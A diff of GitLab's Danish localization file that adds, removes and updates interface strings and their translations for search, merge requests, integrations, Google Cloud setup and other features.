@@ -15641,6 +15885,9 @@ msgstr ""
msgid "GitLab account request rejected"
msgstr ""
+msgid "GitLab and Google Cloud configuration seems to be incomplete. This probably can be fixed by your GitLab administration team. You may share these logs with them:"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -15704,6 +15951,9 @@ msgstr "GitLab bruger %{linkStart}Sidekiq%{linkEnd} til at behandle baggrundsjob
msgid "GitLab version"
msgstr "GitLab-version"
+msgid "GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "GitLab.com"
msgstr "GitLab.com"
@@ -15875,6 +16125,51 @@ msgstr "Globale genveje"
msgid "Global notification settings"
msgstr "Globale underretningsindstillinger"
+msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
+msgstr ""
+
+msgid "GlobalSearch|Issues I've created"
+msgstr ""
+
+msgid "GlobalSearch|Issues assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests I've created"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests that I'm a reviewer"
+msgstr ""
+
+msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
+msgstr ""
+
+msgid "GlobalSearch|Search GitLab"
+msgstr ""
+
+msgid "GlobalSearch|Search or jump to..."
+msgstr ""
+
+msgid "GlobalSearch|Search results are loading"
+msgstr ""
+
+msgid "GlobalSearch|Type and press the enter key to submit search."
+msgstr ""
+
+msgid "GlobalSearch|Type for new suggestions to appear below."
+msgstr ""
+
+msgid "GlobalSearch|in all GitLab"
+msgstr ""
+
+msgid "GlobalSearch|in group"
+msgstr ""
+
+msgid "GlobalSearch|in project"
+msgstr ""
+
msgid "Go Back"
msgstr "GÃ¥ tilbage"
@@ -16022,17 +16317,29 @@ msgstr "MÃ¥let for ændringerne og hvad kontrollanter skal være opmærksomme pÃ
msgid "Google Cloud"
msgstr "Google Cloud"
-msgid "Google Cloud offers several deployment targets. Select the one most suitable for your project."
+msgid "Google Cloud Project"
+msgstr ""
+
+msgid "Google Cloud authorizations required"
+msgstr ""
+
+msgid "Google Cloud project"
+msgstr ""
+
+msgid "Google Cloud project misconfigured"
+msgstr ""
+
+msgid "Google Cloud project required"
msgstr ""
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
msgid "Got it"
-msgstr "Modtaget"
+msgstr "OK"
msgid "Got it!"
-msgstr "Modtaget!"
+msgstr "OK!"
msgid "Grafana URL"
msgstr "Grafana-URL"
@@ -16079,6 +16386,9 @@ msgstr ""
msgid "GraphViewType|Stage"
msgstr "Stadie"
+msgid "Graphs"
+msgstr ""
+
msgid "Gravatar"
msgstr "Gravatar"
@@ -16343,7 +16653,7 @@ msgstr "Inden for 3 år"
msgid "GroupSAML|\"persistent\" recommended"
msgstr ""
-msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enable %{linkStart}SSO enforcement%{linkEnd} to reduce security risks."
msgstr ""
msgid "GroupSAML|Active SAML Group Links (%{count})"
@@ -16643,6 +16953,12 @@ msgstr ""
msgid "GroupSettings|What are badges?"
msgstr "Hvad er badges?"
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgstr ""
+
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals. Increasing the user cap will not automatically approve pending users."
+msgstr ""
+
msgid "GroupSettings|You can only transfer the group to a group you manage."
msgstr "Du kan kun overføre gruppen til en gruppe du håndterer."
@@ -16820,8 +17136,11 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Header cannot be associated with both a request and a response"
-msgstr "Header kan ikke tilknyttes med både en anmodning og et svar"
+msgid "Have a quick chat with us about your experience."
+msgstr ""
+
+msgid "Have more to say about GitLab?"
+msgstr ""
msgid "Header logo"
msgstr "Headerlogo"
@@ -16835,7 +17154,10 @@ msgstr "Headerlogo fjernes. Er du sikker?"
msgid "Header message"
msgstr "Headermeddelelse"
-msgid "Header must be associated with a request or response"
+msgid "HeaderAction|incident"
+msgstr ""
+
+msgid "HeaderAction|issue"
msgstr ""
msgid "Headers"
@@ -16934,6 +17256,9 @@ msgstr "Her findes seneste sammenlægningsanmodningsaktivitet"
msgid "Hi %{username}!"
msgstr "Hej %{username}!"
+msgid "Hidden"
+msgstr ""
+
msgid "Hide"
msgstr "Skjul"
@@ -17199,7 +17524,7 @@ msgstr ""
msgid "Identities"
msgstr "Identiteter"
-msgid "If any indexed field exceeds this limit it will be truncated to this number of characters and the rest will not be indexed or searchable. This does not apply to repository and wiki indexing. Setting this to 0 means it is unlimited."
+msgid "If any indexed field exceeds this limit, it is truncated to this number of characters. The rest of the content is neither indexed nor searchable. This does not apply to repository and wiki indexing. For unlimited characters, set this to 0."
msgstr ""
msgid "If blank, defaults to %{code_open}Retry later%{code_close}."
@@ -17238,6 +17563,9 @@ msgstr "Hvis YouTube-URL'en er https://www.youtube.com/watch?v=0t1DgySidms så e
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
+msgid "If there isn't any existing index, GitLab creates one."
+msgstr ""
+
msgid "If this email was added in error, you can remove it here:"
msgstr "Hvis e-mailen blev tilføjet ved en fejl, så kan du fjerne den her:"
@@ -18015,7 +18343,10 @@ msgstr ""
msgid "IncidentManagement|All"
msgstr "Alle"
-msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list."
+msgstr ""
+
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list. You can also create a new incident using the button below."
msgstr ""
msgid "IncidentManagement|Assignees"
@@ -18180,9 +18511,6 @@ msgstr ""
msgid "Include description in commit message"
msgstr "Medtag beskrivelse i commit-meddelelse"
-msgid "Include merge request description"
-msgstr "Medtag sammenlægningsanmodningsbeskrivelse"
-
msgid "Include new features from all tiers."
msgstr ""
@@ -18244,6 +18572,9 @@ msgid "Infrastructure"
msgstr "Infrastruktur"
msgid "Infrastructure Registry"
+msgstr "Infrastrukturregister"
+
+msgid "Infrastructure as Code (IaC) Scanning"
msgstr ""
msgid "InfrastructureRegistry|Copy Terraform Command"
@@ -18259,7 +18590,7 @@ msgid "InfrastructureRegistry|For more information on the Terraform registry, %{
msgstr ""
msgid "InfrastructureRegistry|Infrastructure Registry"
-msgstr ""
+msgstr "Infrastrukturregister"
msgid "InfrastructureRegistry|Publish and share your modules. %{docLinkStart}More information%{docLinkEnd}"
msgstr "Udgiv og del dine moduler. %{docLinkStart}Mere information%{docLinkEnd}"
@@ -18461,12 +18792,18 @@ msgstr "Standardindstillinger nedarves fra gruppeniveauet."
msgid "Integrations|Default settings are inherited from the instance level."
msgstr "Standardindstillinger nedarves fra instansniveauet."
+msgid "Integrations|Edit project alias"
+msgstr ""
+
msgid "Integrations|Enable GitLab.com slash commands in a Slack workspace."
msgstr "Aktivér GitLab.com-skråstregskommandoer i et Slack-arbejdsområde."
msgid "Integrations|Enable comments"
msgstr "Aktivér kommentarer"
+msgid "Integrations|Enter your alias"
+msgstr ""
+
msgid "Integrations|Failed to link namespace. Please try again."
msgstr "Kunne ikke linke navnerum. Prøv venligst igen."
@@ -18584,6 +18921,9 @@ msgstr "Når du nævner en Jira-problemstilling i en commit eller sammenlægning
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr "Du kan nu lukke vinduet og vende tilbage til GitLab for Jira-programmet."
+msgid "Integrations|You can use this alias in your Slack commands"
+msgstr ""
+
msgid "Integrations|You haven't activated any integrations yet."
msgstr "Du har endnu ikke aktiveret nogle integreringer."
@@ -18599,6 +18939,12 @@ msgstr "Du har aktiveret alle integreringer 🎉"
msgid "Integrations|ZenTao issues display here when you create issues in your project in ZenTao."
msgstr ""
+msgid "Integrations|can't exceed %{recipients_limit}"
+msgstr ""
+
+msgid "Interactive developer security education."
+msgstr ""
+
msgid "Interactive mode"
msgstr "Interaktiv tilstand"
@@ -18629,8 +18975,11 @@ msgstr "Interne brugere kan ikke deaktiveres"
msgid "Interval Pattern"
msgstr "Intervalmønster"
-msgid "Introducing Your DevOps Report"
-msgstr "Introduktion til din DevOps-rapport"
+msgid "Introduced in GitLab 13.1, before using %{reindexing_link_start}zero-downtime reindexing%{link_end} and %{migrations_link_start}Advanced Search migrations%{link_end}, you need to %{recreate_link_start}recreate your index%{link_end}."
+msgstr ""
+
+msgid "Introducing Your DevOps Reports"
+msgstr ""
msgid "Invalid Insights config file detected"
msgstr ""
@@ -18686,8 +19035,8 @@ msgstr "Ugyldigt login eller adgangskode"
msgid "Invalid period"
msgstr "Ugyldig periode"
-msgid "Invalid pin code"
-msgstr "Ugyldig pinkode"
+msgid "Invalid pin code."
+msgstr ""
msgid "Invalid pod_name"
msgstr "Ugyldig pod_name"
@@ -18824,22 +19173,19 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|Collaborate on open issues and merge requests"
+msgid "InviteMembersModal|Congratulations on creating your project, you're almost there!"
msgstr ""
-msgid "InviteMembersModal|Configure CI/CD"
-msgstr "Konfigurer CI/CD"
-
-msgid "InviteMembersModal|Configure security features"
+msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
msgstr ""
-msgid "InviteMembersModal|Contribute to the codebase"
+msgid "InviteMembersModal|GitLab is better with colleagues!"
msgstr ""
-msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
-msgid "InviteMembersModal|GitLab member or email address"
+msgid "InviteMembersModal|How about inviting a colleague or two to join you?"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -18854,9 +19200,6 @@ msgstr "Inviter medlemmer"
msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|Other"
-msgstr ""
-
msgid "InviteMembersModal|Search for a group to invite"
msgstr "Søg efter en grupper som skal inviteres"
@@ -18875,9 +19218,6 @@ msgstr "Noget gik galt"
msgid "InviteMembersModal|To assign issues to a new team member, you need a project for the issues. %{linkStart}Create a project to get started.%{linkEnd}"
msgstr ""
-msgid "InviteMembersModal|What would you like new member(s) to focus on? (optional)"
-msgstr "Hvad vil du have nye medlemmer til at fokusere på? (valgfrit)"
-
msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr "Du inviterer en gruppe til gruppen %{strongStart}%{name}%{strongEnd}."
@@ -19064,6 +19404,9 @@ msgstr "Problemstillingsbegivenheder"
msgid "Issue first deployed to production"
msgstr ""
+msgid "Issue has been promoted to incident"
+msgstr ""
+
msgid "Issue label"
msgstr "Problemstillingsetiket"
@@ -19139,6 +19482,9 @@ msgstr "Nogle af dine tavler er skjulte. Aktivér en licens for at se dem igen."
msgid "IssueBoards|Switch board"
msgstr "Skift tavle"
+msgid "IssueList|created %{timeAgoString} by %{user}"
+msgstr ""
+
msgid "IssueTracker|Custom issue tracker"
msgstr "Tilpasset problemstillingsporing"
@@ -19196,17 +19542,14 @@ msgstr ""
msgid "Issues"
msgstr "Problemstillinger"
-msgid "Issues I've created"
-msgstr "Problemstillinger jeg har oprettet"
-
msgid "Issues Rate Limits"
msgstr ""
msgid "Issues and merge requests"
msgstr "Problemstillinger og sammenlægningsanmodninger"
-msgid "Issues assigned to me"
-msgstr "Problemstillinger tildelt til mig"
+msgid "Issues are being rebalanced at the moment, so manual reordering is disabled."
+msgstr ""
msgid "Issues can be bugs, tasks or ideas to be discussed. Also, issues are searchable and filterable."
msgstr ""
@@ -19214,9 +19557,6 @@ msgstr ""
msgid "Issues closed"
msgstr ""
-msgid "Issues manual ordering is temporarily disabled for technical reasons."
-msgstr ""
-
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -19310,6 +19650,9 @@ msgstr "Tilføj gennemløb"
msgid "Iterations|Automated scheduling"
msgstr "Automatiseret planlægning"
+msgid "Iterations|Cadence configuration is invalid."
+msgstr ""
+
msgid "Iterations|Cadence name"
msgstr "Kadencenavn"
@@ -19319,6 +19662,9 @@ msgstr "Kunne ikke finde gennemløbskadence"
msgid "Iterations|Create cadence"
msgstr "Opret kadence"
+msgid "Iterations|Create cadence and start iteration"
+msgstr ""
+
msgid "Iterations|Create iteration"
msgstr "Opret gennemløb"
@@ -19415,9 +19761,15 @@ msgstr ""
msgid "Iterations|Title"
msgstr "Titel"
+msgid "Iterations|Unable to find iteration cadence."
+msgstr ""
+
msgid "Iterations|Unable to find iteration."
msgstr "Kan ikke finde gennemløb."
+msgid "Iterations|Unable to save cadence. Please try again."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -19442,9 +19794,6 @@ msgstr "Januar"
msgid "Japanese language support using"
msgstr "Understøttelse af japansk med"
-msgid "Jira Issues"
-msgstr "Jira-problemstillinger"
-
msgid "Jira display name"
msgstr ""
@@ -19553,18 +19902,9 @@ msgstr "Indtast ny adgangskode eller API-token"
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr "Begivenheder for %{noteable_model_name} er deaktiveret."
-msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
-msgid "JiraService|Failed to update Jira issue labels. View the issue in Jira, or reload the page."
-msgstr ""
-
-msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -19583,18 +19923,12 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
-msgid "JiraService|Issue List"
-msgstr "Problemstillingsliste"
-
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
msgid "JiraService|Jira API URL"
msgstr "URL for Jira API"
-msgid "JiraService|Jira Issues"
-msgstr "Jira-problemstillinger"
-
msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
@@ -19604,6 +19938,9 @@ msgstr "Jira-kommentarer oprettes når der refereres til en problemstilling i en
msgid "JiraService|Jira issue type"
msgstr "Jira-problemstillingstype"
+msgid "JiraService|Jira issues"
+msgstr ""
+
msgid "JiraService|Jira project key"
msgstr ""
@@ -19613,12 +19950,6 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
-msgid "JiraService|No available statuses"
-msgstr ""
-
-msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
-msgstr ""
-
msgid "JiraService|Open Jira"
msgstr ""
@@ -19649,9 +19980,6 @@ msgstr "Det er en Premium-funktion"
msgid "JiraService|This is an Ultimate feature"
msgstr "Dette er en Ultimate-funktion"
-msgid "JiraService|This issue is synchronized with Jira"
-msgstr "Problemstillingen er synkroniseret med Jira"
-
msgid "JiraService|Transition Jira issues to their final state:"
msgstr ""
@@ -19949,6 +20277,9 @@ msgstr "Nøgler"
msgid "Ki"
msgstr "Ki"
+msgid "Kontra"
+msgstr ""
+
msgid "Kroki"
msgstr "Kroki"
@@ -20111,7 +20442,7 @@ msgid "Last Activity"
msgstr "Sidste aktivitet"
msgid "Last Name"
-msgstr ""
+msgstr "Efternavn"
msgid "Last Pipeline"
msgstr "Sidste pipeline"
@@ -20293,8 +20624,8 @@ msgstr ""
msgid "Learn more about groups."
msgstr ""
-msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced search configuration%{configuration_link_end} documentation. Changes won't take place until the index is %{recreated_link_start}recreated%{recreated_link_end}."
-msgstr "Lær mere om shards og replikaer i dokumentationen %{configuration_link_start}konfiguration af avanceret søgning%{configuration_link_end}. Ændringerne ske ikke før indekset %{recreated_link_start}genoprettes%{recreated_link_end}."
+msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
+msgstr ""
msgid "Learn more about signing commits"
msgstr "Lær mere om at underskrive commits"
@@ -20398,6 +20729,9 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitLab|Your team is growing! You've successfully invited new team members to the %{projectName} project."
+msgstr ""
+
msgid "LearnGitlab|Creating your onboarding experience..."
msgstr ""
@@ -20443,6 +20777,9 @@ msgstr ""
msgid "License Compliance"
msgstr "Licensoverholdelse"
+msgid "License compliance"
+msgstr ""
+
msgid "License file"
msgstr "Licensfil"
@@ -20581,9 +20918,6 @@ msgstr "Tegistreret i projekt"
msgid "Licenses|Detected licenses that are out-of-compliance with the project's assigned policies"
msgstr ""
-msgid "Licenses|Disallow Merge request if detected and will instruct the developer to remove"
-msgstr ""
-
msgid "Licenses|Displays licenses detected in the project, based on the %{linkStart}latest successful%{linkEnd} scan"
msgstr ""
@@ -20611,13 +20945,13 @@ msgstr "Angivne regelsæt i projektet"
msgid "Licenses|The license list details information about the licenses used within your project."
msgstr ""
-msgid "Licenses|View license details for your project"
+msgid "Licenses|Unacceptable license, if detected it will disallow a merge request until it's removed"
msgstr ""
-msgid "Limit display of time tracking units to hours."
+msgid "Licenses|View license details for your project"
msgstr ""
-msgid "Limit namespaces and projects that can be indexed"
+msgid "Limit display of time tracking units to hours."
msgstr ""
msgid "Limit project size at a global, group, and project level. %{link_start}Learn more%{link_end}."
@@ -20635,6 +20969,9 @@ msgstr ""
msgid "Limit the number of issues and epics per minute a user can create through web and API requests."
msgstr ""
+msgid "Limit the number of namespaces and projects that can be indexed."
+msgstr ""
+
msgid "Limit the size of Sidekiq jobs stored in Redis."
msgstr ""
@@ -20850,8 +21187,8 @@ msgstr "MD5"
msgid "MERGED"
msgstr "SAMMENLAGT"
-msgid "MR widget|Back to the Merge request"
-msgstr "Tilbage til sammenlægningsanmodningen"
+msgid "MR widget|Back to the merge request"
+msgstr ""
msgid "MR widget|See your pipeline in action"
msgstr ""
@@ -20931,7 +21268,7 @@ msgstr "HÃ¥ndter alle underretninger"
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
-msgid "Manage applications that can use GitLab as an OAuth provider."
+msgid "Manage applications that use GitLab as an OAuth provider."
msgstr ""
msgid "Manage applications that you've authorized to use your account."
@@ -21144,6 +21481,9 @@ msgstr "Højest 20 tegn"
msgid "Maximum Conan package file size in bytes"
msgstr "Maksimale filstørrelse for Conan-pakke i byte"
+msgid "Maximum Helm chart file size in bytes"
+msgstr ""
+
msgid "Maximum Maven package file size in bytes"
msgstr "Maksimale filstørrelse for Maven-pakke i byte"
@@ -21162,6 +21502,9 @@ msgstr ""
msgid "Maximum allowable lifetime for personal access token (days)"
msgstr ""
+msgid "Maximum allowed lifetime for SSH keys (in days)"
+msgstr ""
+
msgid "Maximum artifacts size"
msgstr "Maksimale størrelse for artefakter"
@@ -21369,9 +21712,6 @@ msgstr "Medlem siden:"
msgid "MemberInviteEmail|%{member_name} invited you to join GitLab"
msgstr "%{member_name} inviterede dig til at deltage i GitLab"
-msgid "MemberInviteEmail|I've invited you to join me in GitLab"
-msgstr ""
-
msgid "MemberInviteEmail|Invitation to join the %{project_or_group} %{project_or_group_name}"
msgstr "Invitation til at deltage i %{project_or_group} %{project_or_group_name}"
@@ -21534,6 +21874,12 @@ msgstr "Sammenlægningsanmodninger sammenlagt"
msgid "Merge automatically (%{strategy})"
msgstr "Sammenlæg automatisk (%{strategy})"
+msgid "Merge blocked: all merge request dependencies must be merged or closed."
+msgstr ""
+
+msgid "Merge blocked: merge request must be marked as ready. It's still marked as draft."
+msgstr ""
+
msgid "Merge blocked: new changes were just added."
msgstr "Sammenlægning blokeret: nye ændringer blev netop tilføjet."
@@ -21549,6 +21895,9 @@ msgstr "Sammenlægningscommit-SHA"
msgid "Merge commit message"
msgstr "Sammenlægningscommit-meddelelse"
+msgid "Merge details"
+msgstr ""
+
msgid "Merge events"
msgstr "Sammenlægningsbegivenheder"
@@ -21594,22 +21943,13 @@ msgstr ""
msgid "Merge requests"
msgstr "Sammenlægningsanmodninger"
-msgid "Merge requests I've created"
-msgstr "Sammenlægningsanmodninger jeg har oprettet"
-
msgid "Merge requests are a place to propose changes you've made to a project and discuss those changes with others"
msgstr ""
-msgid "Merge requests are read-only in a secondary Geo node"
+msgid "Merge the branch and fix any conflicts that come up"
msgstr ""
-msgid "Merge requests assigned to me"
-msgstr "Sammenlægningsanmodninger tildelt til mig"
-
-msgid "Merge requests that I'm a reviewer"
-msgstr "Sammenlægningsanmodninger hvor jeg er en kontrollant"
-
-msgid "Merge the branch and fix any conflicts that come up"
+msgid "Merge unavailable: merge requests are read-only in a secondary Geo node."
msgstr ""
msgid "Merge when pipeline succeeds"
@@ -21729,6 +22069,18 @@ msgstr "startede en tråd på committen %{linkStart}%{commitDisplay}%{linkEnd}"
msgid "MergeRequest|Approved by @%{username}"
msgstr "Godkendt af @%{username}"
+msgid "MergeRequest|Can't show this merge request because of an internal error. Contact your administrator."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the fork project was deleted."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the source branch %{badge_start}%{source_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the source branch."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the target branch %{badge_start}%{target_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the target branch."
+msgstr ""
+
msgid "MergeRequest|Compare %{target} and %{source}"
msgstr "Sammenlign %{target} og %{source}"
@@ -22366,6 +22718,9 @@ msgstr "Tilføj SSH-nøgle"
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr "Vis ikke igen"
+msgid "MissingSSHKeyWarningLink|You can't push or pull repositories using SSH until you add an SSH key to your profile."
+msgstr ""
+
msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr "Du vil ikke være i stand til at bruge pull eller push på depoter via SSH før du tilføjer en SSH-nøgle til din profil"
@@ -22553,7 +22908,7 @@ msgid "My company or team"
msgstr "Min virksomhed eller team"
msgid "My topic"
-msgstr ""
+msgstr "Mit emne"
msgid "My-Reaction"
msgstr "Min-reaktion"
@@ -22617,9 +22972,6 @@ msgstr ""
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
-msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines. To learn more about reducing storage capacity please visit our docs."
-msgstr ""
-
msgid "NamespaceUserCap|Pending users must be reviewed and approved by a group owner. Learn more about %{user_caps_link_start}User Caps%{link_end} and %{users_pending_approval_link_start}Users Pending Approval%{link_end}."
msgstr ""
@@ -22672,7 +23024,7 @@ msgid "Network"
msgstr "Netværk"
msgid "Network:"
-msgstr ""
+msgstr "Netværk:"
msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is inbound from a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
msgstr ""
@@ -22770,9 +23122,6 @@ msgstr "Netværkstrafik"
msgid "NetworkPolicies|None selected"
msgstr ""
-msgid "NetworkPolicies|Please %{installLinkStart}install%{installLinkEnd} and %{configureLinkStart}configure a Kubernetes Agent for this project%{configureLinkEnd} to enable alerts."
-msgstr ""
-
msgid "NetworkPolicies|Policy %{policyName} was successfully changed"
msgstr ""
@@ -22797,6 +23146,9 @@ msgstr "Noget gik galt. Kunne ikke opdatere regelsæt"
msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr "Noget gik galt. Kunne ikke hente regelsæt"
+msgid "NetworkPolicies|To enable alerts, %{installLinkStart}install an agent%{installLinkEnd} first."
+msgstr ""
+
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
msgstr "Trafik som ikke matcher nogen regel vil blive blokeret."
@@ -23000,6 +23352,9 @@ msgstr "Ny sammenlægningsanmodning"
msgid "New milestone"
msgstr "Ny milepæl"
+msgid "New name"
+msgstr ""
+
msgid "New password"
msgstr "Ny adgangskode"
@@ -23036,6 +23391,9 @@ msgstr ""
msgid "New schedule"
msgstr "Ny planlægning"
+msgid "New service account is generated for the selected Google Cloud project"
+msgstr ""
+
msgid "New snippet"
msgstr "Nyt udklip"
@@ -23049,7 +23407,7 @@ msgid "New test case"
msgstr "Ny testsag"
msgid "New topic"
-msgstr ""
+msgstr "Nyt emne"
msgid "New users set to external"
msgstr ""
@@ -23127,7 +23485,7 @@ msgid "No artifacts found"
msgstr "Ingen artefakter fundet"
msgid "No assignee"
-msgstr ""
+msgstr "Ingen tildeler"
msgid "No authentication methods configured."
msgstr ""
@@ -23231,6 +23589,9 @@ msgstr "Ingen filer fundet."
msgid "No forks are available to you."
msgstr ""
+msgid "No group provided"
+msgstr ""
+
msgid "No grouping"
msgstr "Ingen gruppering"
@@ -23279,9 +23640,15 @@ msgstr ""
msgid "No matching results..."
msgstr ""
+msgid "No member provided"
+msgstr ""
+
msgid "No members found"
msgstr "Ingen medlemmer fundet"
+msgid "No memberships found"
+msgstr ""
+
msgid "No merge requests found"
msgstr "Ingen sammenlægningsanmodninger fundet"
@@ -23324,6 +23691,9 @@ msgstr "Ingen profiler fundet"
msgid "No projects found"
msgstr "Ingen projekter fundet"
+msgid "No public deploy keys"
+msgstr ""
+
msgid "No public groups"
msgstr "Ingen offentlige grupper"
@@ -23345,6 +23715,9 @@ msgstr "Ingen runnere fundet"
msgid "No schedules"
msgstr "Ingen planlægninger"
+msgid "No service accounts"
+msgstr ""
+
msgid "No severity matches the provided parameter"
msgstr ""
@@ -23440,6 +23813,9 @@ msgstr "Ikke tilgængelig for beskyttede grene"
msgid "Not confidential"
msgstr "Ikke fortrolig"
+msgid "Not found"
+msgstr ""
+
msgid "Not found."
msgstr "Ikke fundet."
@@ -23532,8 +23908,8 @@ msgstr "Underretningsindstillinger gemt"
msgid "NotificationEmail|Assignee"
msgid_plural "NotificationEmail|Assignees"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "Tildeler"
+msgstr[1] "Tildelere"
msgid "NotificationEmail|Assignee: %{users}"
msgid_plural "NotificationEmail|Assignees: %{users}"
@@ -23655,8 +24031,8 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of Elasticsearch shards and replicas (per index)"
-msgstr "Antal Elasticsearch-shards og -replikaer (pr. indeks)"
+msgid "Number of Elasticsearch shards and replicas per index:"
+msgstr ""
msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
msgstr ""
@@ -23811,7 +24187,7 @@ msgstr "Kunne ikke redigere planlægning"
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule %{obstacle} in Project %{project}"
+msgid "OnCallSchedules|On-call schedule %{obstacle} in project %{project}"
msgstr ""
msgid "OnCallSchedules|On-call schedules"
@@ -23857,7 +24233,7 @@ msgid "OnCallSchedules|Select timezone"
msgstr "Vælg tidszone"
msgid "OnCallSchedules|Sets the default timezone for the schedule, for all participants"
-msgstr ""
+msgstr "Indstiller standardtidszonen til planen for alle deltagere"
msgid "OnCallSchedules|Successfully created a new rotation"
msgstr ""
@@ -23895,6 +24271,12 @@ msgstr ""
msgid "OnCallSchedules|Your schedule has been successfully created. To add individual users to this schedule, use the Add a rotation button. To enable notifications for this schedule, you must also create an %{linkStart}escalation policy%{linkEnd}."
msgstr ""
+msgid "OnDemandScans|%{learnMoreLinkStart}Learn more about on-demand scans%{learnMoreLinkEnd}."
+msgstr ""
+
+msgid "OnDemandScans|Could not fetch on-demand scans. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr "Kunne ikke hente skannerprofiler. Opdater venligst siden eller prøv igen senere."
@@ -23985,6 +24367,12 @@ msgstr "Starttidspunkt"
msgid "OnDemandScans|Target"
msgstr ""
+msgid "OnDemandScans|There are no finished scans."
+msgstr ""
+
+msgid "OnDemandScans|There are no running scans."
+msgstr ""
+
msgid "OnDemandScans|Use existing scanner profile"
msgstr "Brug eksisterende skannerprofil"
@@ -23994,12 +24382,6 @@ msgstr ""
msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
msgstr ""
-msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
-msgstr "Når et projekt slettes permanent, så kan det %{strongStart}ikke gendannes%{strongEnd}. Permanent sletning af projektet vil %{strongStart}straks slette%{strongEnd} dets depoter og %{strongStart}alle relaterede ressourcer%{strongEnd}, herunder problemstillinger, sammenlægningsanmodninger osv."
-
-msgid "Once a project is permanently deleted, it cannot be recovered. You will lose this project's repository and all related resources, including issues and merge requests."
